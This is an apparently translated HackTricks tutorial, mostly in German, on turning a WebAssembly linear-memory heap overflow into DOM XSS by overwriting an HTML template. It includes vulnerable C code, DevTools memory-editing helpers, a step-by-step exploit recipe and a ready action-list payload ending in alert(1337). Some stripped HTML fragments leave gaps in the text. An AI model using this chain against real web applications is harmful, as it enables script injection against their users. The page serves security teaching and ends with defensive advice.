%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Technik zeigt, wie ein Speicherkorruptionsfehler in einem mit Emscripten kompilierten WebAssembly (WASM)-Modul selbst dann in einen zuverlässigen DOM XSS verwandelt werden kann, wenn Eingaben bereinigt sind. Der Dreh- und Angelpunkt ist, beschreibbare Konstanten in der WASM linear memory (z. B. HTML-Formatvorlagen) zu korruptieren, anstatt den bereinigten Quellstring anzugreifen.
Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.
Bedrohungsmodell und Voraussetzungen
- Die Web-App verwendet Emscripten glue (Module.cwrap), um ein WASM-Modul aufzurufen.
- Der Anwendungszustand liegt in der WASM linear memory (z. B. C structs mit pointers/lengths zu user buffers).
- Ein Input-Sanitizer kodiert Metazeichen vor der Speicherung, aber die spätere Darstellung erzeugt HTML mithilfe eines format string, der in der WASM linear memory gespeichert ist.
- Es existiert eine Primitive zur Korruption der WASM linear memory (z. B. heap overflow, UAF oder unchecked memcpy).
Minimal anfälliges Datenmodell (Beispiel)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Verwundbares Logikmuster
- addMsg(): weist einen neuen Buffer zu, der an die sanitisierten Eingabedaten angepasst ist, und hängt ein msg an s.mess an, wobei bei Bedarf die Kapazität mit realloc verdoppelt wird.
- editMsg(): re-sanitisiert und kopiert mit memcpy die neuen Bytes in den bestehenden Buffer, ohne sicherzustellen, dass die neue Länge ≤ alte Allokation → intra-linear-memory heap overflow.
- populateMsgHTML(): formatiert den sanitisierten Text mit einem eingebetteten Stub wie "
" der im linear memory liegt. Das zurückgegebene HTML landet in einer DOM sink (z. B. innerHTML).
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Nach Wachstum platziert realloc() häufig s->mess unmittelbar nach dem letzten Benutzerpuffer im linearen Speicher.
- Überlaufe die letzte Nachricht via editMsg(), um Felder innerhalb von s->mess zu clobbern (z. B. msg_data-Pointer zu überschreiben) → beliebige Pointer-Überschreibung innerhalb des linearen Speichers für später gerenderte Daten.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization schützt die Eingabe, nicht die Sinks. Finde das Format-Stub, das von populateMsgHTML() verwendet wird, z. B.:
- "
" → ändere zu "%.*s
"
- Lokalisieren das Stub deterministisch durch Scannen des linearen Speichers; es ist ein einfacher Byte-String innerhalb von Module.HEAPU8.
- Nachdem du das Stub überschrieben hast, wird der bereinigte Nachrichteninhalt zum JavaScript-Handler für onerror, sodass das Hinzufügen einer neuen Nachricht mit Text wie alert(1337) zu
führt und sofort im DOM ausgeführt wird.
Chrome DevTools workflow (Emscripten glue)
- Setze einen Breakpoint auf den ersten Module.cwrap call im JS glue und steige in die wasm call site ein, um Pointer-Argumente abzufangen (numerische Offsets im linearen Speicher).
- Verwende typed views wie Module.HEAPU8, um WASM-Speicher aus der Konsole zu lesen/schreiben.
- Hilfreiche Snippets:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
End-to-end exploitation recipe
- Groom: Füge N kleine Nachrichten hinzu, um realloc() auszulösen. Stelle sicher, dass s->mess an einen user buffer angrenzt.
- Overflow: Rufe editMsg() für die letzte Nachricht mit einer längeren Nutzlast auf, um einen Eintrag in s->mess zu überschreiben und msg_data von Nachricht 0 so zu setzen, dass es auf (stub_addr + 1) zeigt. Das +1 überspringt das führende '<', um die Tag-Ausrichtung bei der nächsten Änderung intakt zu halten.
- Template rewrite: Editiere Nachricht 0 so, dass ihre Bytes die template mit: "img src=1 onerror=%.*s " überschreiben.
- Trigger XSS: Füge eine neue Nachricht hinzu, deren bereinigter Inhalt JavaScript ist, z. B. alert(1337). Das Rendering gibt
aus und führt es aus.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Warum dieser Bypass funktioniert
- WASM verhindert Codeausführung aus linear memory, aber konstante Daten innerhalb der linear memory sind beschreibbar, wenn die Programmlogik fehlerhaft ist.
- Der Sanitizer schützt nur den Quellstring; indem man den sink (die HTML template) korrumpiert, wird die gesäuberte Eingabe zum JS-Handler-Wert und ausgeführt, wenn sie in das DOM eingefügt wird.
- Durch realloc()-getriebene Adjazenz plus unkontrolliertes memcpy in Edit-Flows kann Pointer-Korruption Schreibvorgänge auf angreifergewählte Adressen innerhalb der linear memory umleiten.
Generalisierung und weitere Angriffsflächen
- Jede in-memory gespeicherte HTML template, JSON skeleton oder URL pattern, die in die linear memory eingebettet ist, kann zum Ziel werden, um zu verändern, wie gesäuberte Daten nachgelagert interpretiert werden.
- Weitere gängige WASM-Fallen: out-of-bounds writes/reads in linear memory, UAF bei Heap-Objekten, function-table misuse mit ungeprüften indirekten Call-Indizes und JS↔WASM glue mismatches.
Defensive Hinweise
- In Edit-Pfaden die neue Länge ≤ Kapazität überprüfen; Puffer vor dem Kopieren neu dimensionieren (realloc auf new_len) oder größenbegrenzte APIs verwenden (snprintf/strlcpy) und die Kapazität nachverfolgen.
- Unveränderliche Templates außerhalb beschreibbarer linear memory halten oder ihre Integrität vor der Nutzung prüfen.
- Behandle JS↔WASM-Grenzen als untrusted: Pointer-Bereiche/Längen validieren, exportierte Schnittstellen fuzzen und Memory-Wachstum begrenzen.
- Sanitize am sink: vermeide das Erzeugen von HTML in WASM; bevorzuge sichere DOM-APIs gegenüber innerHTML-style templating.
- Vertraue nicht auf URL-embedded state für privilegierte Flows.
Referenzen
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.